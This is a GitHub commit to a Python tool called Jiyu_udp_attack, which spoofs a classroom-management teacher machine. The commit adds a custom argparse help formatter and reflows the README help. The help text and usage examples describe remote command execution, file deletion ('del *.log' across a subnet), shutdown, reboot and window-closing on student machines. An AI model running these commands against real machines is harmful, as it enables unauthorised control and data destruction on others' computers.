Skip to content

Commit 69cbbcd

Browse files
committed
feat: Implement MaxWidthHelpFormatter for improved help display
1 parent 928629c commit 69cbbcd

File tree

3 files changed

+242
-28
lines changed

3 files changed

+242
-28
lines changed

Jiyu_udp_attack/__main__.py

Lines changed: 218 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@
1212
import argparse
1313
import binascii
1414

15-
from typing import Any, Optional, Sequence, cast
15+
from typing import Any, Iterable, List, Optional, Sequence, cast
1616

1717
try:
1818
from sender import broadcast_packet
@@ -39,6 +39,7 @@
3939
pkg_customize,
4040
)
4141

42+
4243
class ModeOptionalAction(argparse.Action):
4344
"""
4445
Custom action for handling optional arguments in argparse.
@@ -87,11 +88,223 @@ def format_usage(self) -> str:
8788
return " | ".join(self.option_strings)
8889

8990

91+
class MaxWidthHelpFormatter(argparse.RawTextHelpFormatter):
92+
"""
93+
*Replace some methods with Python 3.13 versions for better display*
94+
95+
Custom help formatter that formats the usage and actions in a more readable way.
96+
97+
It ensures that the usage line does not exceed a specified width.
98+
"""
99+
100+
def __init__(self, prog: str, indent_increment: int = 2, max_help_position: int = 24, width: int = 80) -> None:
101+
super().__init__(prog, indent_increment, max_help_position, width)
102+
103+
def _format_usage(
104+
self,
105+
usage: Optional[str],
106+
actions: Iterable[argparse.Action],
107+
groups: Iterable[argparse._MutuallyExclusiveGroup],
108+
prefix: Optional[str],
109+
) -> str:
110+
if prefix is None:
111+
prefix = "usage: "
112+
113+
if usage is not None:
114+
usage = usage % dict(prog=self._prog)
115+
elif usage is None and not actions:
116+
usage = "%(prog)s" % dict(prog=self._prog)
117+
elif usage is None:
118+
prog = "%(prog)s" % dict(prog=self._prog)
119+
120+
optionals = []
121+
positionals = []
122+
for action in actions:
123+
if action.option_strings:
124+
optionals.append(action)
125+
else:
126+
positionals.append(action)
127+
128+
format = self._format_actions_usage
129+
action_usage = format(optionals + positionals, groups)
130+
usage = " ".join([s for s in [prog, action_usage] if s])
131+
132+
text_width = self._width - self._current_indent
133+
if len(prefix) + len(usage) > text_width:
134+
opt_parts = self._get_actions_usage_parts(optionals, groups)
135+
pos_parts = self._get_actions_usage_parts(positionals, groups)
136+
137+
def get_lines(parts, indent, prefix=None):
138+
lines = []
139+
line = []
140+
indent_length = len(indent)
141+
if prefix is not None:
142+
line_len = len(prefix) - 1
143+
else:
144+
line_len = indent_length - 1
145+
for part in parts:
146+
if line_len + 1 + len(part) > text_width and line:
147+
lines.append(indent + " ".join(line))
148+
line = []
149+
line_len = indent_length - 1
150+
line.append(part)
151+
line_len += len(part) + 1
152+
if line:
153+
lines.append(indent + " ".join(line))
154+
if prefix is not None:
155+
lines[0] = lines[0][indent_length:]
156+
return lines
157+
158+
if len(prefix) + len(prog) <= 0.75 * text_width:
159+
indent = " " * (len(prefix) + len(prog) + 1)
160+
if opt_parts:
161+
lines = get_lines([prog] + opt_parts, indent, prefix)
162+
lines.extend(get_lines(pos_parts, indent))
163+
elif pos_parts:
164+
lines = get_lines([prog] + pos_parts, indent, prefix)
165+
else:
166+
lines = [prog]
167+
168+
else:
169+
indent = " " * len(prefix)
170+
parts = opt_parts + pos_parts
171+
lines = get_lines(parts, indent)
172+
if len(lines) > 1:
173+
lines = []
174+
lines.extend(get_lines(opt_parts, indent))
175+
lines.extend(get_lines(pos_parts, indent))
176+
lines = [prog] + lines
177+
178+
usage = "\n".join(lines)
179+
180+
return "%s%s\n\n" % (prefix, usage)
181+
182+
def _format_actions_usage(
183+
self,
184+
actions: Iterable[argparse.Action],
185+
groups: Iterable[argparse._MutuallyExclusiveGroup],
186+
) -> str:
187+
return " ".join(self._get_actions_usage_parts(list(actions), groups))
188+
189+
def _get_actions_usage_parts(
190+
self,
191+
actions: Sequence[argparse.Action],
192+
groups: Iterable[argparse._MutuallyExclusiveGroup],
193+
) -> List[str]:
194+
195+
group_actions = set()
196+
inserts = {}
197+
for group in groups:
198+
if not group._group_actions:
199+
raise ValueError(f"empty group {group}")
200+
201+
if all(action.help is argparse.SUPPRESS for action in group._group_actions):
202+
continue
203+
204+
try:
205+
start = actions.index(group._group_actions[0])
206+
except ValueError:
207+
continue
208+
else:
209+
end = start + len(group._group_actions)
210+
if actions[start:end] == group._group_actions:
211+
group_actions.update(group._group_actions)
212+
inserts[start, end] = group
213+
214+
parts = []
215+
for action in actions:
216+
if action.help is argparse.SUPPRESS:
217+
part = None
218+
elif not action.option_strings:
219+
default = self._get_default_metavar_for_positional(action)
220+
part = self._format_args(action, default)
221+
if action in group_actions:
222+
if part[0] == "[" and part[-1] == "]":
223+
part = part[1:-1]
224+
else:
225+
option_string = action.option_strings[0]
226+
if action.nargs == 0:
227+
try:
228+
part = action.format_usage()
229+
except AttributeError:
230+
part = action.option_strings[0]
231+
else:
232+
default = self._get_default_metavar_for_optional(action)
233+
args_string = self._format_args(action, default)
234+
part = "%s %s" % (option_string, args_string)
235+
if not action.required and action not in group_actions:
236+
part = "[%s]" % part
237+
238+
parts.append(part)
239+
240+
inserted_separators_indices = set()
241+
for start, end in sorted(inserts, reverse=True):
242+
group = inserts[start, end]
243+
group_parts = [item for item in parts[start:end] if item is not None]
244+
group_size = len(group_parts)
245+
if group.required:
246+
open, close = "()" if group_size > 1 else ("", "")
247+
else:
248+
open, close = "[]"
249+
group_parts[0] = open + group_parts[0]
250+
group_parts[-1] = group_parts[-1] + close
251+
for i, part in enumerate(group_parts[:-1], start=start):
252+
if i not in inserted_separators_indices:
253+
parts[i] = part + " |"
254+
inserted_separators_indices.add(i)
255+
parts[start + group_size - 1] = group_parts[-1]
256+
for i in range(start + group_size, end):
257+
parts[i] = None
258+
259+
return [item for item in parts if item is not None]
260+
261+
def _format_action_invocation(self, action: argparse.Action) -> str:
262+
if not action.option_strings:
263+
default = self._get_default_metavar_for_positional(action)
264+
return " ".join(self._metavar_formatter(action, default)(1))
265+
else:
266+
if action.nargs == 0:
267+
return ", ".join(action.option_strings)
268+
else:
269+
default = self._get_default_metavar_for_optional(action)
270+
args_string = self._format_args(action, default)
271+
return ", ".join(action.option_strings) + " " + args_string
272+
273+
def _format_args(self, action: argparse.Action, default_metavar: str) -> str:
274+
get_metavar = self._metavar_formatter(action, default_metavar)
275+
if action.nargs is None:
276+
result = "%s" % get_metavar(1)
277+
elif action.nargs == argparse.OPTIONAL:
278+
result = "[%s]" % get_metavar(1)
279+
elif action.nargs == argparse.ZERO_OR_MORE:
280+
metavar = get_metavar(1)
281+
if len(metavar) == 2:
282+
result = "[%s [%s ...]]" % metavar
283+
else:
284+
result = "[%s ...]" % metavar
285+
elif action.nargs == argparse.ONE_OR_MORE:
286+
result = "%s [%s ...]" % get_metavar(2)
287+
elif action.nargs == argparse.REMAINDER:
288+
result = "..."
289+
elif action.nargs == argparse.PARSER:
290+
result = "%s ..." % get_metavar(1)
291+
elif action.nargs == argparse.SUPPRESS:
292+
result = ""
293+
else:
294+
action.nargs = cast(int, action.nargs)
295+
try:
296+
formats = ["%s" for _ in range(action.nargs)]
297+
except TypeError:
298+
raise ValueError("invalid nargs value") from None
299+
result = " ".join(formats) % get_metavar(action.nargs)
300+
return result
301+
302+
90303
if __name__ == "__main__":
91304
parser = argparse.ArgumentParser(
92-
description="Jiyu Attack Script",
93-
epilog="Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/ \n \n"
94-
"Example usage:\n"
305+
description="Jiyu Attack Script\n \n"
306+
"Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/ \n",
307+
epilog="Example usage:\n"
95308
' python Jiyu_udp_attack -t 192.168.106.100 -m "Hello World"\n'
96309
" python Jiyu_udp_attack -t 192.168.106.104 -w https://www.github.com\n"
97310
' python Jiyu_udp_attack -t 192.168.106.0/24 -f 192.168.106.2 -c "del *.log" -i 1000\n'
@@ -107,7 +320,7 @@ def format_usage(self) -> str:
107320
' python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0.int.little_4}" 1024\n'
108321
' python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0}{1.size_800}" 4d hello\n'
109322
" python Jiyu_udp_attack -t 192.168.106.100 --pkg test.txt 1024 hello\n",
110-
formatter_class=argparse.RawTextHelpFormatter,
323+
formatter_class=MaxWidthHelpFormatter,
111324
)
112325
network_config_group = parser.add_argument_group(
113326
"Network Configuration", "Specify the network configuration for the attack."

README.md

Lines changed: 23 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -18,58 +18,59 @@
1818

1919
```
2020
usage: Jiyu_udp_attack [-h] [-f <ip>] [-fp <port>] -t <ip> [-tp <port>]
21-
[-i <ip_id>]
22-
(-m <msg> | -w <url> | -c <command> | -e <program> [<args> ...] | -s [<timeout> [<message> ...]] | -r [<timeout> [<message> ...]] | -cw [<timeout> [<message> ...]] | -ctw | -n <name> <name_id> | --hex <hex_data> | --pkg <custom_data> [<args> ...])
21+
[-i <ip_id>] (-m <msg> | -w <url> | -c <command> |
22+
-e <program> [<args> ...] |
23+
-s [<timeout> [<message> ...]] |
24+
-r [<timeout> [<message> ...]] |
25+
-cw [<timeout> [<message> ...]] | -ctw |
26+
-n <name> <name_id> | --hex <hex_data> |
27+
--pkg <custom_data> [<args> ...])
2328
2429
Jiyu Attack Script
2530
26-
optional arguments:
31+
Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/
32+
33+
options:
2734
-h, --help show this help message and exit
2835
2936
Network Configuration:
3037
Specify the network configuration for the attack.
3138
32-
-f <ip>, --teacher-ip <ip>
39+
-f, --teacher-ip <ip>
3340
Teacher's IP address
34-
-fp <port>, --teacher-port <port>
41+
-fp, --teacher-port <port>
3542
Teacher's port (default to random port)
36-
-t <ip>, --target <ip>
37-
Target IP address
38-
-tp <port>, --target-port <port>
43+
-t, --target <ip> Target IP address
44+
-tp, --target-port <port>
3945
Port to send packets to (default: 4705)
40-
-i <ip_id>, --ip-id <ip_id>
41-
IP ID for the packet (default: random ID)
46+
-i, --ip-id <ip_id> IP ID for the packet (default: random ID)
4247
4348
Attack Action:
4449
Specify the action to perform on the target machine.
4550
46-
-m <msg>, --message <msg>
47-
Send a message to the target machine
48-
-w <url>, --website <url>
49-
Open a website on the target machine
50-
-c <command>, --command <command>
51+
-m, --message <msg> Send a message to the target machine
52+
-w, --website <url> Open a website on the target machine
53+
-c, --command <command>
5154
Execute a command on the target machine
5255
(`cmd /D /C <command>`, Windows only)
53-
-e <program> [<args> ...], --execute <program> [<args> ...], --minimize-execute <program> [<args> ...], --maximize-execute <program> [<args> ...]
56+
-e, --execute, --minimize-execute, --maximize-execute <program> [<args> ...]
5457
Execute a program with arguments on the target machine
55-
-s [<timeout> [<message> ...]], --shutdown [<timeout> [<message> ...]]
58+
-s, --shutdown [<timeout> [<message> ...]]
5659
Shutdown the target machine,
5760
optionally with a timeout and message
58-
-r [<timeout> [<message> ...]], --reboot [<timeout> [<message> ...]]
61+
-r, --reboot [<timeout> [<message> ...]]
5962
Reboot the target machine,
6063
optionally with a timeout and message
61-
-cw [<timeout> [<message> ...]], --close-windows [<timeout> [<message> ...]]
64+
-cw, --close-windows [<timeout> [<message> ...]]
6265
Close all windows on the target machine
6366
-ctw, --close-top-window
6467
Close the top window on the target machine
65-
-n <name> <name_id>, --rename <name> <name_id>
68+
-n, --rename <name> <name_id>
6669
Rename the target machine
6770
--hex <hex_data> Send raw hex data to the target machine
6871
--pkg <custom_data> [<args> ...]
6972
Custom packet data to send
7073
71-
Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/
72-
7374
Example usage:
7475
python Jiyu_udp_attack -t 192.168.106.100 -m "Hello World"
7576
python Jiyu_udp_attack -t 192.168.106.104 -w https://www.github.com

pyproject.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[tool.poetry]
22
name = "Jiyu-udp-attack"
3-
version = "1.1.0"
3+
version = "1.1.1"
44
description = "Send packets to student machines disguised as Jiyu teacher machine"
55
authors = ["weilycoder <[email protected]>"]
66
license = "MIT"

0 commit comments

Comments
 (0)